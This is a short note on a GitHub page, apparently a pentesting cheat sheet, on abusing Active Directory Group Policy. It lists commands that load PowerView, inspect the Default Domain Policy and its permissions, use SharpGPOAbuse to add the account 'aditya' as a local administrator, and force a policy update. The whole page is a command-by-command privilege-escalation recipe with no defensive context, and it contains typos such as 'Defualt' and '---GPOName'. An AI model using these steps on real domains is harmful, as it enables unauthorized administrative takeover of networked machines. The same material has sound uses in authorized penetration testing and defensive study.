Skip to content

Latest commit

 

History

History
33 lines (22 loc) · 523 Bytes

File metadata and controls

33 lines (22 loc) · 523 Bytes

GPO

Initialize powerview

./powerview.ps1

Then check for Default Domain Policy:

Get-GPO -Name "Defualt Domain Policy"

Now after getting Guid to check for permissions:

Get-GPPermission -Guid <id> -TargetType User -TargetName <account name>

Then use SharpGPOAbuse:

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount aditya ---GPOName "Default Domain Policy"

Then:

gpupdate /force